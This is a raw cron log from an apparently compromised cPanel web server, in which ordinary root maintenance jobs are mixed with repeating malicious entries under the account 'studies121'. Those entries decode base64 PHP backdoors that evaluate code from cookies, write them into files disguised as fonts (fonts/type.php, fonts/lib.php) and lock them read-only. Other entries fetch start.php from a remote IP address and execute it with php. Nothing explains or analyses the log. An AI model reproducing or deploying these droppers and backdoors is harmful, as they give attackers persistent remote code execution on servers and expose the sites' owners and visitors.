Sep  7 05:34:01 ip-184-168-122-23 CROND[32484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:34:01 ip-184-168-122-23 CROND[32483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:35:01 ip-184-168-122-23 CROND[32596]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32592]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:35:01 ip-184-168-122-23 CROND[32602]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:36:01 ip-184-168-122-23 CROND[351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:36:01 ip-184-168-122-23 CROND[357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:36:01 ip-184-168-122-23 CROND[358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:36:01 ip-184-168-122-23 CROND[359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:36:01 ip-184-168-122-23 CROND[361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:37:01 ip-184-168-122-23 CROND[477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:37:01 ip-184-168-122-23 CROND[480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:37:01 ip-184-168-122-23 CROND[481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:37:01 ip-184-168-122-23 CROND[482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:38:01 ip-184-168-122-23 CROND[591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:38:01 ip-184-168-122-23 CROND[592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:38:01 ip-184-168-122-23 CROND[593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:38:01 ip-184-168-122-23 CROND[597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:38:01 ip-184-168-122-23 CROND[599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:39:01 ip-184-168-122-23 CROND[744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:39:01 ip-184-168-122-23 CROND[745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:39:01 ip-184-168-122-23 CROND[747]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 05:39:01 ip-184-168-122-23 CROND[748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:39:01 ip-184-168-122-23 CROND[751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:40:01 ip-184-168-122-23 CROND[871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:40:01 ip-184-168-122-23 CROND[873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:40:01 ip-184-168-122-23 CROND[876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:40:01 ip-184-168-122-23 CROND[877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:40:01 ip-184-168-122-23 CROND[878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:40:01 ip-184-168-122-23 CROND[879]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:40:01 ip-184-168-122-23 CROND[875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:40:01 ip-184-168-122-23 CROND[880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:41:01 ip-184-168-122-23 CROND[1000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:41:01 ip-184-168-122-23 CROND[1002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:41:01 ip-184-168-122-23 CROND[1003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:41:01 ip-184-168-122-23 CROND[1001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:42:01 ip-184-168-122-23 CROND[1126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:42:01 ip-184-168-122-23 CROND[1128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:42:01 ip-184-168-122-23 CROND[1129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:42:01 ip-184-168-122-23 CROND[1130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:42:01 ip-184-168-122-23 CROND[1131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:43:01 ip-184-168-122-23 CROND[1298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:43:01 ip-184-168-122-23 CROND[1312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:43:01 ip-184-168-122-23 CROND[1300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:43:01 ip-184-168-122-23 CROND[1313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:44:01 ip-184-168-122-23 CROND[1538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:44:01 ip-184-168-122-23 CROND[1537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:44:01 ip-184-168-122-23 CROND[1539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:44:01 ip-184-168-122-23 CROND[1541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:44:01 ip-184-168-122-23 CROND[1540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:45:02 ip-184-168-122-23 CROND[1743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:45:02 ip-184-168-122-23 CROND[1747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:45:02 ip-184-168-122-23 CROND[1748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:45:02 ip-184-168-122-23 CROND[1751]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:45:02 ip-184-168-122-23 CROND[1752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:45:02 ip-184-168-122-23 CROND[1753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:46:02 ip-184-168-122-23 CROND[1851]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:46:02 ip-184-168-122-23 CROND[1854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:46:02 ip-184-168-122-23 CROND[1855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:46:02 ip-184-168-122-23 CROND[1856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:46:02 ip-184-168-122-23 CROND[1858]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
